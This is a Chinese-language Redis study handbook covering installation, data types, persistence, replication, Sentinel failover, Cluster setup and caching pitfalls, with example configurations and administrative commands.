Redis完整学习手册(视频精华版)
基于赵老师2个Redis教学视频 + 数据库运维XMind笔记 + G盘/F盘教案
标注说明:【面试必问】 = 面试高频考点 | 【教案补充】 = 教案文档细节补充 | 【知识拓展】 = 视频外Redis必备知识
Redis完整学习手册(视频精华版)
基于赵老师2个Redis教学视频 + 数据库运维XMind笔记 + G盘/F盘教案
标注说明:【面试必问】 = 面试高频考点 | 【教案补充】 = 教案文档细节补充 | 【知识拓展】 = 视频外Redis必备知识
第1章:Redis概述与安装部署
1.1 NoSQL与Redis定位
关系型 vs 非关系型数据库
| 维度 | 关系型数据库(MySQL等) | NoSQL(Redis等) |
|---|---|---|
| 数据模型 | 表、行、列,严格Schema | 键值对、文档、图等灵活结构 |
| ACID | 完整支持事务 | Redis支持简单事务(MULTI/EXEC) |
| 扩展方式 | 垂直扩展为主 | 水平扩展,天然分布式 |
| 性能 | 受限于磁盘I/O | 内存级读写(微秒级) |
| 适用场景 | 复杂查询、事务、一致性要求高 | 高并发缓存、计数器、消息队列 |
【面试必问】Redis为什么这么快:
- 纯内存操作:数据存在内存中,读写微秒级
- 单线程模型:避免多线程上下文切换和锁竞争(Redis 6.0+引入多线程I/O,但命令执行仍单线程)
- IO多路复用:基于epoll/kqueue等,单线程处理大量并发连接
- 高效数据结构:SDS简单动态字符串、ziplist压缩列表、skiplist跳跃表等
1.2 Redis典型应用场景
| 场景 | 实现方式 | 示例 |
|---|---|---|
| Session共享 | 集中存储Session到Redis | Web集群中多服务器共享登录态 |
| 缓存 | 热点数据缓存,减少DB压力 | 商品详情、文章内容、配置信息 |
| 计数器 | INCR/DECR原子操作 | 浏览量、点赞数、库存扣减 |
| 排行榜 | ZSet有序集合 | 游戏积分排行、热搜榜单 |
| 消息队列 | List/Stream + Pub/Sub | 异步任务、日志收集 |
| 分布式锁 | SETNX + 过期时间 | 防止重复执行定时任务 |
| 地理位置 | GEO数据类型 | 附近的人、外卖配送距离 |
1.3 Redis版本与演进
| 版本 | 关键特性 |
|---|---|
| Redis 2.8 | Sentinel哨兵高可用 |
| Redis 3.0 | Redis Cluster 正式版 |
| Redis 5.0 | Stream数据类型 |
| Redis 6.0 | ACL访问控制、多线程I/O |
| Redis 6.2 | 新命令:GETEX/SETEX增强 |
| Redis 7.0 | Redis Functions、MP/PUB子命令、AOF改进 |
| Redis 7.2 | 当前最新稳定版(教案使用版本) |
1.4 编译安装Redis
四要素:
- 机器:一台Linux服务器(CentOS 7.9 / openEuler 24.03)
- 做什么:源码编译安装Redis 7.2.x
- 完整命令:如下
- 为什么:生产环境推荐编译安装,可自定义安装路径和优化参数
bash
# === 1. 安装依赖 ===
yum install -y gcc make jemalloc-devel
# === 2. 下载并解压 ===
wget https://download.redis.io/releases/redis-7.2.4.tar.gz
tar xf redis-7.2.4.tar.gz -C /usr/src/
cd /usr/src/redis-7.2.4/
# === 3. 编译安装 ===
make -j$(nproc) # 使用所有CPU核心加速编译
make PREFIX=/usr/local/redis install # 安装到指定目录
# === 4. 配置PATH ===
echo 'export PATH=$PATH:/usr/local/redis/bin' >> /etc/profile
source /etc/profile
# === 5. 创建用户和数据目录 ===
useradd -r -s /sbin/nologin redis
mkdir -p /data/redis/{conf,log,data}
chown -R redis:redis /data/redis
# === 6. 准备配置文件 ===
cp /usr/src/redis-7.2.4/redis.conf /data/redis/conf/
# 编辑关键参数
vim /data/redis/conf/redis.conf
关键配置参数:
ini
bind 0.0.0.0 # 监听所有网卡(生产环境建议指定内网IP)
port 6379 # 端口
daemonize yes # 守护进程
pidfile /data/redis/conf/redis_6379.pid
logfile /data/redis/log/redis.log
dir /data/redis/data/ # 数据目录
requirepass StrongP@ss123 # 认证密码(生产必设)
maxmemory 4gb # 最大内存
maxmemory-policy allkeys-lru # 内存淘汰策略
protected-mode yes # 保护模式(无密码时拒绝远程连接)
databases 16 # 数据库数量
bash
# === 7. 创建systemd服务 ===
cat > /usr/lib/systemd/system/redis.service << 'EOF'
[Unit]
Description=Redis persistent key-value database
After=network.target
[Service]
User=redis
Group=redis
PIDFile=/data/redis/conf/redis_6379.pid
Type=forking
ExecStart=/usr/local/redis/bin/redis-server /data/redis/conf/redis.conf
ExecStop=/usr/local/redis/bin/redis-cli -a StrongP@ss123 shutdown
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload
systemctl enable --now redis
1.5 客户端工具
redis-cli
bash
# 本地连接
redis-cli
# 远程连接(带密码)
redis-cli -h 192.168.1.11 -p 6379 -a StrongP@ss123
# 进入后认证
127.0.0.1:6379> AUTH StrongP@ss123
# 测试连通性
127.0.0.1:6379> PING # 返回 PONG
redis-benchmark(性能压测)
bash
# 基准压测:10万请求,50并发
redis-benchmark -h 127.0.0.1 -p 6379 -n 100000 -c 50 -a StrongP@ss123
# 仅测试SET/GET
redis-benchmark -t set,get -n 100000 -q
redis-check-aof / redis-check-rdb
bash
# 修复损坏的AOF文件
redis-check-aof --fix appendonly.aof
# 检查RDB文件
redis-check-rdb dump.rdb
第2章:Redis数据类型与常用命令
2.1 键(Key)通用操作
bash
KEYS pattern # 查看匹配的key(生产慎用!)
EXISTS key # 判断key是否存在
DEL key # 删除key
EXPIRE key seconds # 设置过期时间(秒)
TTL key # 查看剩余过期时间(秒)
TYPE key # 查看数据类型
RENAME old new # 重命名
MOVE key db # 移动到其他数据库
SELECT index # 切换数据库(0-15)
DBSIZE # 当前数据库key数量
FLUSHDB # 清空当前数据库(危险!)
FLUSHALL # 清空所有数据库(危险!)
2.2 String(字符串)
【面试必问】最基础类型,key是字符串,value可以是字符串、整数、浮点数。最大512MB。
bash
# 基本读写
SET key value
GET key
# 带过期时间
SET key value EX 60 # 60秒后过期
# 仅在不存在时设置(分布式锁基础)
SET lock_key value NX EX 30
# 批量操作
MSET k1 v1 k2 v2 k3 v3
MGET k1 k2 k3
# 追加
APPEND key "追加内容"
# 获取长度
STRLEN key
# 原子计数器
INCR key # +1
DECR key # -1
INCRBY key 10 # +10
DECRBY key 5 # -5
# 获取旧值并设置新值
GETSET key newvalue
应用场景:
- 缓存对象(JSON序列化存储)
- 分布式锁(SETNX)
- 计数器(INCR实现PV/UV统计)
- Session共享
2.3 Hash(哈希)
一个Hash可以存储2^32-1个字段,适合存储对象。
bash
# 设置单个字段
HSET user:1001 name "张三" age 25 city "北京"
# 获取
HGET user:1001 name # "张三"
HGETALL user:1001 # 所有字段和值
HMGET user:1001 name age # 获取多个字段
# 查看
HEXISTS user:1001 email # 判断字段是否存在
HKEYS user:1001 # 所有字段名
HVALS user:1001 # 所有字段值
HLEN user:1001 # 字段数量
# 删除
HDEL user:1001 city
# 计数器
HINCRBY user:1001 age 1 # age+1
应用场景:用户信息、商品详情、购物车。
2.4 List(列表)
有序、可重复,双向链表实现,最多2^32-1个元素。
bash
# 左端操作(头部)
LPUSH queue a b c # 从左侧插入:c → b → a
LPOP queue # 从左侧弹出
# 右端操作(尾部)
RPUSH queue x y z # 从右侧插入:a → b → c → x → y → z
RPOP queue # 从右侧弹出
# 查看
LRANGE queue 0 -1 # 查看全部(0到-1)
LLEN queue # 长度
LINDEX queue 0 # 下标访问
# 阻塞式弹出(消息队列核心)
BLPOP queue 30 # 阻塞等待30秒
BRPOP queue 0 # 永久阻塞等待
# 修改
LSET queue 0 newval # 修改指定下标
LTRIM queue 0 99 # 只保留前100个元素
应用场景:消息队列、最新消息列表、时间线。
2.5 Set(集合)
无序、不重复,基于哈希表实现。
bash
# 添加/查看/删除
SADD tags "redis" "mysql" "linux"
SMEMBERS tags # 查看所有成员
SREM tags "mysql" # 删除
SCARD tags # 成员数量
SISMEMBER tags "redis" # 判断是否存在
# 集合运算
SINTER set1 set2 # 交集(共同关注)
SUNION set1 set2 # 并集
SDIFF set1 set2 # 差集(set1有而set2没有)
# 随机抽取
SRANDMEMBER tags 2 # 随机获取2个(不删除)
SPOP tags 1 # 随机弹出1个(删除)
应用场景:标签系统、共同好友、抽奖、去重。
2.6 Sorted Set(有序集合)
【面试必问】Set的升级版,每个成员关联一个score(分数),按score排序。底层:ziplist + skiplist(跳跃表)。
bash
# 添加(score在前,member在后)
ZADD leaderboard 100 "player1" 200 "player2" 150 "player3"
# 排名查询
ZRANGE leaderboard 0 -1 # 从小到大
ZREVRANGE leaderboard 0 -1 # 从大到小
ZRANGE leaderboard 0 2 WITHSCORES # 带分数
# 获取排名
ZRANK leaderboard "player1" # 从小到大排名(0-based)
ZREVRANK leaderboard "player1" # 从大到小排名
# 获取分数
ZSCORE leaderboard "player1"
# 按分数范围查询
ZRANGEBYSCORE leaderboard 100 200
# 删除
ZREM leaderboard "player1"
ZREMRANGEBYRANK leaderboard 0 10 # 删除排名最前的10个
ZREMRANGEBYSCORE leaderboard 0 100 # 删除分数0-100的
# 数量
ZCARD leaderboard
ZCOUNT leaderboard 100 200
跳跃表(skiplist)原理简述:在有序链表基础上增加多级索引,查找时间复杂度O(logN),与平衡树相当但实现更简单。Redis用skiplist实现ZSet的按score排序功能。
应用场景:排行榜、延时队列(score为执行时间戳)、带权重的消息队列。
2.7 其他数据类型
| 类型 | 用途 | 关键命令 |
|---|---|---|
| Bitmap | 位图,用于签到、在线状态 | SETBIT / GETBIT / BITCOUNT |
| HyperLogLog | 基数统计(UV),误差0.81% | PFADD / PFCOUNT / PFMERGE |
| GEO | 地理位置 | GEOADD / GEORADIUS / GEODIST |
| Stream | 持久化消息队列(5.0+) | XADD / XREAD / XGROUP |
第3章:Redis持久化
【面试必问------全章重点】
3.1 RDB(快照)
RDB是在指定时间间隔将内存数据快照写入磁盘文件dump.rdb。
触发方式
bash
# 1. 配置文件自动触发
save 900 1 # 900秒内至少1次修改
save 300 10 # 300秒内至少10次修改
save 60 10000 # 60秒内至少10000次修改
# 2. 手动触发
SAVE # 同步(阻塞所有请求,不推荐)
BGSAVE # 异步(fork子进程,后台执行,推荐)
# 3. 关闭RDB
# 注释所有save行,或:save ""
RDB优缺点
| 优点 | 缺点 |
|---|---|
| 单个紧凑文件,适合备份和灾难恢复 | 可能丢失最后一次快照后的数据 |
| fork子进程,不影响主进程服务 | fork子进程时内存翻倍风险 |
| 恢复大文件速度快于AOF | 定期执行,非实时持久化 |
3.2 AOF(追加日志)
AOF记录每条写命令,追加到文件appendonly.aof末尾。
配置
ini
appendonly yes # 开启AOF
appendfilename "appendonly.aof" # AOF文件名
# fsync策略(核心参数)
appendfsync always # 每条命令都fsync,最安全但性能最差
appendfsync everysec # 每秒fsync一次,丢失最多1秒数据【生产推荐】
appendfsync no # 由OS决定,约30秒一次
AOF重写
AOF文件会越来越大,需要定期重写(压缩):将多条修改同一key的命令压缩为最终值。
ini
auto-aof-rewrite-percentage 100 # AOF文件增长100%时触发重写
auto-aof-rewrite-min-size 64mb # AOF最小64MB才触发重写
bash
# 手动触发AOF重写
BGREWRITEAOF
AOF重写原理:fork子进程,子进程根据当前内存数据生成新的AOF文件,主进程继续服务并把新命令同时写入旧AOF缓冲区和AOF重写缓冲区。子进程完成后,主进程把重写缓冲区的命令追加到新文件,原子替换旧AOF。
3.3 RDB vs AOF 对比
| 维度 | RDB | AOF |
|---|---|---|
| 数据安全 | 可能丢失几分钟到几小时数据 | 最多丢失1秒(everysec) |
| 文件大小 | 小(压缩二进制) | 大(文本协议) |
| 恢复速度 | 快 | 慢(需逐条重放命令) |
| 对性能影响 | fork时短暂影响 | 持续I/O影响,everysec影响很小 |
| 适用场景 | 可容忍数据丢失的缓存场景 | 数据持久性要求高的场景 |
【面试必问】生产环境持久化策略:
同时开启RDB和AOF。Redis重启时优先使用AOF恢复(数据更完整)。推荐的配置:
- AOF:
appendfsync everysec- RDB:
save 900 1等策略作为AOF的补充备份
【知识拓展】Redis 4.0+ 混合持久化:
aof-use-rdb-preamble yes:AOF重写时,前半部分用RDB格式(快),后半部分继续用AOF追加。兼顾了恢复速度和数据完整性。
3.4 AOF文件修复
bash
# AOF文件损坏时的修复
redis-check-aof --fix appendonly.aof
# 手动修复:截断文件
# 找到文件末尾不完整的命令,删除即可
第4章:Redis主从复制
4.1 主从复制原理
【面试必问】Redis主从复制完整流程:
Master Slave
│ │
│ 1. Slave 执行 replicaof │
│ 发送 PSYNC 命令 ────────► │
│ │
│ 2. Master 执行 BGSAVE │
│ 生成 RDB 快照 │
│ 3. 发送 RDB + 缓冲区命令 ──► │ 4. 清空旧数据
│ │ 加载 RDB 快照
│ │ 执行缓冲区命令
│ 5. 持续传播写命令 ─────────► │ 6. 实时复制
详细步骤:
- Slave执行
replicaof <master_ip> <master_port>,与Master建立socket连接 - Slave发送
PSYNC ? -1(首次复制)或PSYNC <replication_id> <offset>(重连复制) - Master fork子进程,执行BGSAVE生成RDB快照,同时用一个缓冲区记录生成RDB期间的写命令
- Master将RDB文件发送给Slave
- Slave清空自身数据,加载RDB快照
- Master将缓冲区中的写命令发送给Slave,Slave执行后数据与Master一致
- 进入命令传播阶段:Master的每次写命令实时发送给Slave
4.2 全量复制 vs 部分复制
| 维度 | 全量复制 | 部分复制 |
|---|---|---|
| 触发场景 | 首次连接、Slave重启、积压缓冲区溢出 | 短暂网络断开后重连 |
| 命令 | PSYNC ? -1 |
PSYNC <repl_id> <offset> |
| 数据量 | 全量RDB | 仅缺失部分的命令 |
| 关键参数 | --- | repl-backlog-size(积压缓冲区大小) |
【面试必问】部分复制三要素:
- replication_id:标识Master的ID,每次Master重启会变化
- offset:复制偏移量,Master和Slave各自维护。差值在积压缓冲区范围内即可部分复制
- repl-backlog-size :积压缓冲区大小,默认1MB。建议设置为
repl-backlog-size = 256mb,能容忍更长时间的断连
4.3 主从复制配置
四要素:
- 机器:Master (192.168.1.11) + Slave (192.168.1.12)
- 做什么:搭建Redis一主一从复制
- 完整命令:如下
- 为什么:实现读写分离、数据冗余、高可用基础
Master配置
bash
# /data/redis/conf/redis.conf
bind 0.0.0.0
requirepass "MasterP@ss123"
masterauth "MasterP@ss123" # 自身作为从库时认证主库的密码
# RDB/AOF按需配置
Slave配置
bash
# /data/redis/conf/redis.conf
bind 0.0.0.0
requirepass "SlaveP@ss123"
# 方式一:配置文件指定
replicaof 192.168.1.11 6379
masterauth "MasterP@ss123" # 连接Master的认证密码
# 方式二:命令行指定(重启失效)
redis-cli -p 6379 -a SlaveP@ss123 replicaof 192.168.1.11 6379
验证
bash
# 在Master查看复制状态
redis-cli -a MasterP@ss123 INFO replication
# role:master
# connected_slaves:1
# 在Slave查看
redis-cli -p 6379 -a SlaveP@ss123 INFO replication
# role:slave
# master_host:192.168.1.11
# 测试同步:Master写入
redis-cli -a MasterP@ss123 SET testkey "hello replication"
# Slave读取
redis-cli -p 6379 -a SlaveP@ss123 GET testkey
# "hello replication"
主从拓扑
| 拓扑 | 结构 | 适用 |
|---|---|---|
| 一主一从 | 1 Master + 1 Slave | 最小冗余 |
| 一主多从 | 1 Master + N Slave | 读写分离、多备份 |
| 树状 | Master → Slave1 → Slave2(Slave1同时是Slave2的Master) | 减轻Master复制压力 |
4.4 关键配置参数
| 参数 | 说明 | 建议值 |
|---|---|---|
replica-read-only yes |
从库只读 | 默认yes |
repl-diskless-sync no |
无盘复制(直接网络传输RDB) | 磁盘慢时开 |
repl-backlog-size 256mb |
积压缓冲区大小 | 256MB |
repl-backlog-ttl 3600 |
积压缓冲区释放时间 | 3600秒 |
min-replicas-to-write 1 |
最少从库数(少于此时拒绝写入) | 保证数据安全 |
min-replicas-max-lag 10 |
从库最大延迟(秒) | 配合上条使用 |
4.5 主从复制注意事项
- Slave只读 :默认
replica-read-only yes,Slave不接受写命令 - 异步复制:Redis主从默认是异步的,Master写完即返回,不等待Slave确认
- 数据一致性:可能短暂不一致,Slave有一定延迟
- 主库故障:Slave不会自动升级为Master,需要手动或通过哨兵切换
第5章:Redis Sentinel哨兵
5.1 Sentinel概述
【面试必问】Sentinel解决的问题:主从模式中Master宕机后需要手动切换,Sentinel实现自动故障转移,保障高可用。
5.2 哨兵核心机制
三大定时任务
| 任务 | 间隔 | 作用 |
|---|---|---|
| INFO | 每10秒 | Sentinel向所有节点(Master+Slave)发送INFO,发现新节点 |
| PING | 每1秒 | Sentinel向所有节点发PING,检测存活 |
| 频道交换 | 每2秒 | Sentinel之间通过__sentinel__:hello频道交换信息 |
主观下线(SDOWN)与客观下线(ODOWN)
主观下线(Subjective Down):
单个Sentinel认为节点不可达(PING超时)
↓
客观下线(Objective Down):
多个Sentinel(>= quorum)都认为不可达
→ 触发故障转移
ini
sentinel monitor mymaster 192.168.1.11 6379 2
# ↑ quorum=2:至少2个Sentinel认为Master下线才触发故障转移
sentinel down-after-milliseconds mymaster 5000
# ↑ 5秒无响应判定为SDOWN
故障转移流程(4步)
1. 选举Leader Sentinel(Raft算法)
↓
2. Leader选定新Master(过滤→优先级→偏移量→运行ID)
↓
3. 通知其余Slave切换Master
↓
4. 更新配置,旧Master恢复后自动变为Slave
新Master选择规则(按优先级):
- 过滤掉不健康的Slave(下线、断连超时)
- 选择
replica-priority最小的 - 偏移量(offset)最大的(数据最新)
- 运行ID最小的
5.3 哨兵部署
四要素:
- 机器:一主两从 + 三哨兵(可在同一主机不同端口)
- 做什么:搭建Redis Sentinel高可用架构
- 完整命令:如下
- 为什么:实现自动故障转移
拓扑
Master (6379)
├── Slave1 (6380)
└── Slave2 (6381)
Sentinel1 (26380)
Sentinel2 (26381)
Sentinel3 (26382)
哨兵配置文件
bash
# /data/26380/sentinel.conf
bind 0.0.0.0
port 26380
dir /data/26380
# 监控 mymaster 主库,quorum=1(至少1个Sentinel判定即触发)
sentinel monitor mymaster 192.168.1.11 6379 1
# 5秒无响应判定SDOWN
sentinel down-after-milliseconds mymaster 5000
# 认证密码
sentinel auth-pass mymaster StrongP@ss123
bash
# 复制并修改端口,创建三个哨兵配置
mkdir -p /data/{26380,26381,26382}
cp sentinel.conf /data/26380/
cp sentinel.conf /data/26381/
cp sentinel.conf /data/26382/
sed -i 's/port 26380/port 26381/' /data/26381/sentinel.conf
sed -i 's/26380/26381/' /data/26381/sentinel.conf
sed -i 's/port 26380/port 26382/' /data/26382/sentinel.conf
sed -i 's/26380/26382/' /data/26382/sentinel.conf
启动哨兵
bash
redis-sentinel /data/26380/sentinel.conf &
redis-sentinel /data/26381/sentinel.conf &
redis-sentinel /data/26382/sentinel.conf &
# 连接哨兵检查
redis-cli -p 26380
127.0.0.1:26380> PING # PONG
127.0.0.1:26380> SENTINEL masters # 查看主库
127.0.0.1:26380> SENTINEL slaves mymaster # 查看从库
故障模拟与验证
bash
# 杀掉Master
redis-cli -p 6379 -a StrongP@ss123 SHUTDOWN
# 查看哨兵日志
tail -f /data/26380/sentinel.log | grep switch
# +switch-master mymaster 192.168.1.11 6379 192.168.1.11 6381
# 验证:6381已成为新Master
redis-cli -p 6381 -a StrongP@ss123 INFO replication | grep role
# role:master
# 重新启动旧Master(6379),自动变为Slave
redis-server /data/redis/conf/redis.conf
redis-cli -p 6379 -a StrongP@ss123 INFO replication | grep role
# role:slave
【面试必问】哨兵数量为什么是>=3且奇数:
避免脑裂。如果只有2个哨兵,一个与Master网络中断,会认为Master挂了然后选自己这边升主。奇数个保证总能形成多数派裁决(Raft/PAXOS协议要求N/2+1)。
5.4 客户端连接Sentinel
客户端应连接Sentinel而非直接连接Redis,由Sentinel返回当前Master地址:
python
# Python示例(概念)
# 1. 连接Sentinel
# 2. sentinel.discover_master('mymaster') → 获取当前Master IP:Port
# 3. 连接Master进行读写
# 4. Master切换后Sentinel通知客户端重连
第6章:Redis Cluster集群
6.1 Cluster概述
【面试必问】为什么需要Cluster :哨兵解决了高可用,但仍是单机写入。Cluster解决水平扩展和写入瓶颈。
| 模式 | 高可用 | 水平扩展 | 数据分片 |
|---|---|---|---|
| 单机 | ❌ | ❌ | ❌ |
| 主从 | ❌(手动) | ❌ | ❌ |
| 哨兵 | ✅ | ❌ | ❌ |
| Cluster | ✅ | ✅ | ✅ |
6.2 Cluster核心原理
16384个Slot槽位
【面试必问】关键公式 :slot = CRC16(key) % 16384
所有16384个槽位分配给多个Master节点:
Master A: Slot 0-5460 (5461个)
Master B: Slot 5461-10922 (5462个)
Master C: Slot 10923-16383 (5461个)
写入 key="user:1001" → CRC16 → 6782 → 属于Master B
为什么是16384:
- 心跳包中可以压缩存储(2KB足够)
- 节点数通常不会超过1000个,16384足够均匀分配
Gossip协议
集群节点间通过Gossip协议通信:
| 消息类型 | 作用 |
|---|---|
| MEET | 邀请节点加入集群 |
| PING | 心跳检测+传播自身状态 |
| PONG | 回应PING/MEET |
| FAIL | 广播某节点下线 |
请求重定向
bash
# 写入不在当前节点的key
127.0.0.1:7000> SET user:1001 "zhangsan"
(error) MOVED 6782 192.168.1.11:7002
# ↑ 告知key属于slot 6782,去7002节点操作
# 集群客户端自动处理重定向,手动操作时用 -c 参数
redis-cli -h 192.168.1.11 -p 7000 -c
6.3 手动部署Cluster(单机多实例)
四要素:
- 机器:一台服务器 192.168.166.9
- 做什么:手动部署6节点Redis Cluster(3主3从)
- 完整命令:如下
- 为什么:生产环境通常用多台机器,此演示原理
节点规划
| 节点 | 端口 | 角色 |
|---|---|---|
| Master1 | 6379 | Master(Slot 0-5461) |
| Slave1 | 6380 | Slave of Master1 |
| Master2 | 6381 | Master(Slot 5462-10922) |
| Slave2 | 6382 | Slave of Master2 |
| Master3 | 6383 | Master(Slot 10923-16383) |
| Slave3 | 6384 | Slave of Master3 |
创建配置并启动
bash
# 1. 创建目录
mkdir /etc/redis
mkdir -p /var/lib/redis/{6379..6384}
mkdir -p /var/log/redis
mkdir -p /var/run/redis
# 2. 生成基础配置(以6379为模板)
cat > /etc/redis/6379.conf << 'EOF'
bind 192.168.166.9
port 6379
daemonize yes
pidfile /var/run/redis/6379.pid
logfile /var/log/redis/6379.log
dir /var/lib/redis/6379
protected-mode no
EOF
# 3. 复制并修改端口(6380-6384)
for i in {6380..6384}; do
cp /etc/redis/6379.conf /etc/redis/${i}.conf
sed -i "s/6379/${i}/g" /etc/redis/${i}.conf
done
# 4. 所有节点添加Cluster配置
for i in {6379..6384}; do
cat >> /etc/redis/${i}.conf << EOF
cluster-enabled yes
cluster-config-file nodes-${i}.conf
cluster-node-timeout 15000
EOF
done
# 5. 启动所有实例
for i in {6379..6384}; do
redis-server /etc/redis/${i}.conf
done
构建集群
bash
# 6. 节点互相发现(MEET)
for i in {6380..6384}; do
redis-cli -h 192.168.166.9 -p 6379 CLUSTER MEET 192.168.166.9 $i
done
# 7. 分配Slot(指定Master)
redis-cli -h 192.168.166.9 -p 6379 CLUSTER ADDSLOTS {0..5461}
redis-cli -h 192.168.166.9 -p 6381 CLUSTER ADDSLOTS {5462..10922}
redis-cli -h 192.168.166.9 -p 6383 CLUSTER ADDSLOTS {10923..16383}
# 8. 查看节点ID
redis-cli -h 192.168.166.9 -p 6379 CLUSTER NODES
# 9. 建立主从关系(使用对应Master ID)
redis-cli -h 192.168.166.9 -p 6380 CLUSTER REPLICATE <master1-id>
redis-cli -h 192.168.166.9 -p 6382 CLUSTER REPLICATE <master2-id>
redis-cli -h 192.168.166.9 -p 6384 CLUSTER REPLICATE <master3-id>
# 10. 验证集群状态
redis-cli -h 192.168.166.9 -p 6379 CLUSTER INFO
# cluster_state:ok
# cluster_slots_assigned:16384
快捷方式:redis-cli --cluster create
bash
# 一键创建3主3从(替代手动步骤6-9)
redis-cli --cluster create \
192.168.166.9:6379 192.168.166.9:6380 \
192.168.166.9:6381 192.168.166.9:6382 \
192.168.166.9:6383 192.168.166.9:6384 \
--cluster-replicas 1 -a password
# --cluster-replicas 1: 每个Master配1个Slave
6.4 动态扩容与缩容
添加新节点
bash
# 1. 启动新节点(7006,空slot)
redis-server /etc/redis/7006.conf
# 2. 加入集群
redis-cli --cluster add-node 192.168.166.9:7006 192.168.166.9:6379
# 3. 为其分配slot(从其他Master各拿一部分)
redis-cli --cluster reshard 192.168.166.9:7000
# 交互式:输入迁移slot数→目标节点ID→源节点(all/指定ID)
# 4. 添加Slave节点
redis-cli --cluster add-node 192.168.166.9:7007 192.168.166.9:6379 \
--cluster-slave --cluster-master-id <7006的ID>
删除节点
bash
# 1. 先迁移走该节点的slot
redis-cli --cluster reshard 192.168.166.9:6379 \
--cluster-from <节点ID> --cluster-to <目标ID>
# 2. 删除节点
redis-cli --cluster del-node 192.168.166.9:6379 <节点ID>
6.5 Cluster命令速查
| 命令 | 作用 |
|---|---|
CLUSTER INFO |
集群状态 |
CLUSTER NODES |
列出所有节点 |
CLUSTER MEET <ip> <port> |
将节点加入集群 |
CLUSTER REPLICATE <id> |
设为指定Master的Slave |
CLUSTER ADDSLOTS <slot...> |
分配槽位 |
CLUSTER KEYSLOT <key> |
计算key的slot |
CLUSTER FAILOVER |
手动故障转移 |
6.6 Cluster注意事项
- 不支持多数据库:Cluster下只能用db0,SELECT命令不可用
- 批量操作限制 :MSET/MGET等要求所有key在同一slot,否则报错。解决方案:用Hash Tag
{user}:1001{user}:1002→ 同一slot - 事务限制:MULTI/EXEC中所有key也必须在同一slot
- Lua脚本限制:脚本中所有key也必须在同一slot
- 最小3主节点:少于3个Master时集群不可用
- 从节点不处理读 :默认从节点不处理客户端读请求(
READONLY命令可临时开启)
第7章:Redis事务、消息队列与内存管理
7.1 Redis事务
【面试必问】Redis事务 vs MySQL事务:
| 维度 | MySQL(InnoDB) | Redis |
|---|---|---|
| 原子性 | ✅ 完整回滚(ROLLBACK) | ⚠️ 命令语法错误回滚,运行时错误不回滚 |
| 隔离性 | 多隔离级别 + MVCC | 串行执行,执行期间不处理其他命令 |
| 持久性 | Redo Log + Binlog | 取决于持久化配置 |
| 一致性 | 约束(主键/外键/CHECK) | 需开发者自行保证 |
bash
# 事务基本命令
MULTI # 开启事务
SET name "张三" # 入队(不执行)
INCR counter # 入队
EXEC # 一次性执行所有入队命令
# 放弃事务
MULTI
SET a 1
DISCARD # 放弃,所有已入队命令丢弃
# 乐观锁(Watch-Multi-Exec)
WATCH counter # 监视key
GET counter # 假设返回100
MULTI
SET counter 200 # 如果counter被其他客户端修改了,EXEC返回nil(执行失败)
EXEC # 失败后需重新WATCH+重试
UNWATCH # 取消监视
注意事项:
- 入队阶段语法错误 → EXEC时整体失败
- 执行阶段运行时错误(如对String执行LPUSH) → 该命令报错,其他命令照常执行(非ROLLBACK)
- Cluster事务限制:所有key必须在同一slot,否则报错
7.2 发布订阅(Pub/Sub)
bash
# 订阅频道
SUBSCRIBE channel1 channel2
# 发布消息
PUBLISH channel1 "hello world"
# 模式订阅(订阅所有以news.开头的频道)
PSUBSCRIBE news.*
# 取消订阅
UNSUBSCRIBE channel1
PUNSUBSCRIBE news.*
Pub/Sub特点:
- 消息即发即弃,不持久化
- 订阅者离线期间的消息会丢失
- 不保证消息送达
7.3 生产者消费者模式(List实现)
bash
# 生产者:向List尾部推入任务
LPUSH task_queue "task1" "task2" "task3"
# 消费者:从List头部阻塞取出
BRPOP task_queue 0 # 0=永久阻塞等待,直到有数据
# 可多个消费者并行消费(自动负载均衡)
7.4 Redis内存管理
【面试必问------高频】
内存淘汰策略
当Redis内存使用达到maxmemory时,根据maxmemory-policy决定如何处理新写入:
| 策略 | 淘汰范围 | 淘汰对象 |
|---|---|---|
| noeviction | --- | 不淘汰,拒绝新写入(返回error) |
| allkeys-lru | 所有key | 最近最少使用的key |
| volatile-lru | 设置了过期时间的key | 最近最少使用的 |
| allkeys-lfu | 所有key | 最不经常使用的key |
| volatile-lfu | 设置了过期时间的key | 最不经常使用的 |
| allkeys-random | 所有key | 随机 |
| volatile-random | 设置了过期时间的key | 随机 |
| volatile-ttl | 设置了过期时间的key | TTL最短的 |
生产推荐 :
allkeys-lru(纯缓存场景,通用性最强)
ini
maxmemory 4gb
maxmemory-policy allkeys-lru
LRU vs LFU
| 算法 | 全称 | 淘汰逻辑 | 适用 |
|---|---|---|---|
| LRU | Least Recently Used | 最近最少使用(按时间) | 热点随时间变化 |
| LFU | Least Frequently Used | 最不经常使用(按频率) | 热点相对稳定 |
7.5 缓存三大问题
【面试必问------Redis面试核心】
缓存穿透
定义:查询不存在的数据(攻击者故意查询大量不存在的key),请求穿透缓存直达数据库。
解决方案:
├─ 1. 缓存空值:SET key null EX 60(简单,但有内存开销)
├─ 2. 布隆过滤器(BloomFilter):不存在的一定返回不存在,存在的可能误判
└─ 3. 参数校验:在入口过滤非法参数
python
# 空值缓存示例(概念)
def get_user(user_id):
user = redis.get(f"user:{user_id}")
if user == "NULL": # 缓存的空值
return None
if user:
return user
user = db.query(user_id)
if user:
redis.setex(f"user:{user_id}", 3600, user)
else:
redis.setex(f"user:{user_id}", 60, "NULL") # 缓存空值
return user
缓存击穿
定义:热点key过期瞬间,大量并发请求同时查询数据库。
解决方案:
├─ 1. 互斥锁:SETNX获取锁,获取失败等待重试
├─ 2. 逻辑过期:value中存过期时间,业务发现过期后异步更新,旧数据仍可用
└─ 3. 永不过期:热点key不设过期时间,或使用后台任务定时刷新
python
# 互斥锁方案(概念)
def get_hot_data(key):
data = redis.get(key)
if data:
return data
# 尝试获取锁
lock_key = f"lock:{key}"
if redis.set(lock_key, 1, nx=True, ex=10):
data = db.query(key)
redis.setex(key, 3600, data)
redis.delete(lock_key)
return data
else:
time.sleep(0.1) # 等待
return redis.get(key) # 重试读缓存
缓存雪崩
定义:大量key在同一时间段过期(或Redis宕机),所有请求打到数据库,导致数据库崩溃。
解决方案:
├─ 1. 过期时间加随机值:EXPIRE key 3600 + random(0, 600)
├─ 2. 高可用架构:主从+哨兵/Cluster,宕机自动切换
├─ 3. 本地缓存/eCache多级缓存:Redis挂了降级到本地缓存
├─ 4. 限流降级:Hystrix/Sentinel等限流框架保底
└─ 5. 数据库预热:提前将热点数据加载到缓存
bash
# 随机过期示例
# 对批量设置的key添加随机过期时间
